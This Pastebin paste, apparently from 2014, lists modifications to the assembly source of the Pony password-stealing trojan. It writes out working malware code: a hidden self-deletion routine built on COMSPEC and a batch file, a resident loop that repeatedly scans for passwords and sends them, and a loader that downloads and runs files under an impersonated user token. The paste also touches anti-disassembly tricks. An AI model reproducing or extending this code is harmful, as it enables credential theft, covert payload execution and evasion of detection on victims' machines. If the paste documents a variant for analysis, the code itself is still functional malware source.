Advertisement
Xylitol

Pony.asm modifications

Jun 27th, 2014
451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Line 35 (code addition):
  2. includelib DLL_Loader.lib
  3.  
  4. Line 57 (code edition):
  5. push   ebp      -> xor      edx, eax
  6. mov      ebp, esp -> xor      eax, edx
  7. pop      ebp      -> xor      edx, eax
  8.    
  9. Line 63 (code addition):
  10. nop
  11.  
  12. Line 65 (code addition):
  13. nop
  14.  
  15. Line 67 (code addition):
  16. nop
  17.  
  18. Line 70 (code edition):
  19. db   0ffh -> db   0feh
  20.  
  21. Line 75 (code deletion):
  22. Removed the IFDEF USE_UPX
  23.  
  24. Line 80 (code addition):
  25. IFNDEF DISABLE_GRABBER
  26.  
  27. Line 84 (code addition):
  28. include Loader.asm
  29.  
  30. Line 110 (code addition):
  31. nop
  32.  
  33. Line 118 (code addition):
  34. nop
  35.  
  36. Line 119 (code edition):
  37. push   19131011 -> push   19131012
  38.  
  39. Line 129 (code addition):
  40. nop
  41.  
  42. Line 135 (code addition):
  43. nop
  44.  
  45. Line 164 (code addition):
  46. IFNDEF DISABLE_GRABBER
  47.  
  48. Line 451 (code addition):
  49. ENDIF
  50.  
  51. Line 451 (code addition):
  52. IFDEF ENABLE_LOADER -> IFDEF SELF_DELETE
  53.  
  54. Line 456 (code addition/deletion):
  55. Deleted szNumToStrExeFmt/szMD5HashStr/szLoaderValueDupeCheck
  56. Added:
  57.    szBatchFmt            db      '%d.bat',0
  58.    szSelfDelQuoteFmt       db      '      "%s"   ',0
  59.    szShellExecute         db      'ShellExecuteA',0
  60.    szBatchFile             db      13,10,9,9,13,10,13,10,09,"   :ktk   ",13,10,13,10,13,10,"     del    ",9," %1  ",13,10,9,"if  ",9,9," exist ",9,"   %1  ",9,"  goto ",9,13," ktk",13,10," del ",9,"  %0 ",0
  61.    szShell32Lib         db      'shell32.dll',0
  62.    szComSpec            db      'COMSPEC', 0
  63.    szSelfCommand         db      '%s /c del "%s" > NUL',0
  64.    
  65. Line 466 (code deletion/edition)
  66. RunLoader procedure removed/replaced by:
  67. ; Self delete using comspec
  68. SelfDeleteComSpec proc uses ebx
  69.    LOCAL   lpSelfFileName: DWORD
  70.    LOCAL   lpComSpec: DWORD
  71.    LOCAL   lpCommandBuffer: DWORD
  72.    LOCAL   _si: STARTUPINFO
  73.    LOCAL   _pi: PROCESS_INFORMATION
  74.    
  75. Line 474 (code deletion/edition):
  76. AntiDisasmTrick replaced by:
  77.    invoke   MemAlloc, MAX_PATH+1
  78.    mov   lpSelfFileName, eax
  79.    
  80. Line 477 (code deletion/edition):
  81. mov   edi, offset szLoaderList removed by:
  82.    invoke   MemAlloc, MAX_PATH+1
  83.    mov   lpComSpec, eax
  84.    
  85. Line 480 (code deletion/edition):
  86. IFDEF   LOADER_EXECUTE_NEW_FILES_ONLY replaced by:
  87.    invoke   MemAlloc, MAX_PATH+1
  88.    mov   lpCommandBuffer, eax
  89.    
  90. Line 466 (huge code addition/deletion):
  91. ; Self delete using comspec
  92. SelfDeleteComSpec proc uses ebx
  93.    LOCAL   lpSelfFileName: DWORD
  94.    LOCAL   lpComSpec: DWORD
  95.    LOCAL   lpCommandBuffer: DWORD
  96.    LOCAL   _si: STARTUPINFO
  97.    LOCAL   _pi: PROCESS_INFORMATION
  98.  
  99.    invoke   MemAlloc, MAX_PATH+1
  100.    mov   lpSelfFileName, eax
  101.  
  102.    invoke   MemAlloc, MAX_PATH+1
  103.    mov   lpComSpec, eax
  104.  
  105.    invoke   MemAlloc, MAX_PATH+1
  106.    mov   lpCommandBuffer, eax
  107.  
  108.    invoke   GetModuleFileName, NULL, lpSelfFileName, MAX_PATH
  109.  
  110.    invoke   GetShortPathName, lpSelfFileName, lpSelfFileName, MAX_PATH
  111.  
  112.    invoke   ZeroMemory, addr _si, sizeof _si
  113.    invoke   ZeroMemory, addr _pi, sizeof _pi
  114.  
  115.    mov   _si.cb, sizeof _si
  116.    mov   _si.dwFlags, STARTF_USESHOWWINDOW
  117.    mov   _si.wShowWindow, SW_HIDE
  118.      
  119.    invoke   GetEnvironmentVariable, addr szComSpec, lpComSpec, MAX_PATH
  120.    .IF   eax
  121.       invoke   wsprintf, lpCommandBuffer, addr szSelfCommand, lpComSpec, lpSelfFileName
  122.       invoke   CreateProcess, NULL, lpCommandBuffer, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, addr _si, addr _pi
  123.       .IF   eax
  124.          invoke   GetCurrentProcess
  125.          invoke   SetPriorityClass, eax, HIGH_PRIORITY_CLASS
  126.          invoke   SetFileAttributes, lpSelfFileName, FILE_ATTRIBUTE_NORMAL
  127.          invoke   SetPriorityClass, _pi.hProcess, IDLE_PRIORITY_CLASS
  128.          invoke   ResumeThread, _pi.hThread
  129.          inc   ebx
  130.       .ENDIF
  131.    .ENDIF
  132.  
  133.    invoke   MemFree, lpSelfFileName
  134.    invoke   MemFree, lpComSpec
  135.    invoke   MemFree, lpCommandBuffer
  136.  
  137.    mov   eax, ebx
  138.      
  139.    ret
  140. SelfDeleteComSpec  endp
  141.    
  142. Line 526 (code addition):
  143.    invoke   SelfDeleteComSpec
  144.    .IF   eax
  145.       ret
  146.    .ENDIF
  147.    
  148. Line 740 (code addition):
  149. IFNDEF DISABLE_GRABBER
  150.    
  151. Line 872 (code addition):
  152. ENDIF
  153.  
  154. Line 874 (code edition):
  155. InitApp proc -> InitApp proc lpUserToken
  156.    
  157. Line 887 (code edition):
  158. invoke   ImpersonateLocalSystemUser -> invoke   ImpersonateLocalSystemUser, lpUserToken
  159.  
  160. Line 893 (comment addition):
  161. ; Get impersonated username to ignore it in brute-force procedure
  162.  
  163. Line 905 (code edition/deletion):
  164.    IFNDEF DISABLE_GRABBER
  165.       IFDEF ENCRYPT_REPORT
  166.          invoke   DecodeReportPassword, offset CReportPassword
  167.       ENDIF
  168.  
  169. Line 911 (code addition):
  170. invoke   Randomize
  171.  
  172. Line 921 (code edition):
  173. mov   eax, EXCEPTION_CONTINUE_SEARCH-> mov eax, EXCEPTION_CONTINUE_SEARCH
  174.  
  175. Line 926 (code addition):
  176.    LOCAL   lpUserToken: DWORD
  177.    LOCAL   isFirstCycleRun: DWORD
  178.    
  179. Line 936 (code addition/deletion):
  180. invoke   InitApp replaced by:
  181.    mov   lpUserToken, NULL ; impersonated user token
  182.    invoke   InitApp, addr lpUserToken
  183.  
  184.    IFDEF   ENABLE_RESIDENT_MODE
  185.       invoke   CopyRunFromAutoDirectory
  186.    ENDIF
  187.  
  188. Line 945 (Code addition):
  189. invoke   DecipherList, offset CWordList
  190.  
  191. Line 948 (deletion/edition):
  192. invoke   ScanAndSend replaced by:
  193.    IFNDEF DISABLE_GRABBER
  194.       invoke   ScanAndSend
  195.    ELSE
  196.       invoke   MyDownloadInit
  197.    ENDIF
  198.  
  199. Line 954 (comment edition):
  200. ; Run loader (it will attempt to download and execute files with current logged on account privileges
  201. ; when run from Windows Service [LocalSystem user], which has limited (tricked) access to HKCU path and %APPDATA%)
  202.  
  203. Line 957 (code edition):
  204. invoke   RunLoader -> invoke   RunLoader, lpUserToken
  205.  
  206. Line 960 (Procedure addition):
  207.    ENDIF
  208.  
  209.    ; Resident looped cycle
  210.    mov   isFirstCycleRun, TRUE ; do not send passwords for the first cycle
  211.    IFDEF   ENABLE_RESIDENT_MODE
  212.       .WHILE   TRUE
  213.          IFDEF PERIODIC_PASSWORD_SCAN
  214.          IFNDEF   DISABLE_GRABBER
  215.             invoke   NeedsPasswordGrabbing
  216.             .IF   eax && !isFirstCycleRun
  217.                ; Scan and send passwords
  218.                invoke   ScanAndSend
  219.             .ENDIF
  220.          ENDIF
  221.          ENDIF
  222.  
  223.          invoke   Sleep, RESIDENT_LOADER_TIMEOUT*60*1000
  224.  
  225.          IFDEF   ENABLE_LOADER
  226.             invoke   RunLoader, lpUserToken
  227.          ENDIF
  228.  
  229.          mov   isFirstCycleRun, FALSE
  230.       .ENDW
  231.  
  232. Line 993 (code edition):
  233. IFNDEF DISABLE_GRABBER
  234.  
  235. Line 996 (code edition):
  236. ENDIF
  237.  
  238. Line 998: (comment addition):
  239. ; Self delete executable (works also for DLL mode - in this case parent executable will get deleted)
  240.  
  241. Line 1023 (code deletion):
  242. After AntiDisasmTrick this part disapeared:
  243.    .WHILE   TRUE
  244.       invoke   GetTickCount
  245.       mov   ecx, 10
  246.       xor   edx, edx
  247.       div   ecx
  248.       .IF   edx == 5
  249.          .BREAK
  250.       .ENDIF
  251.    .ENDW
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement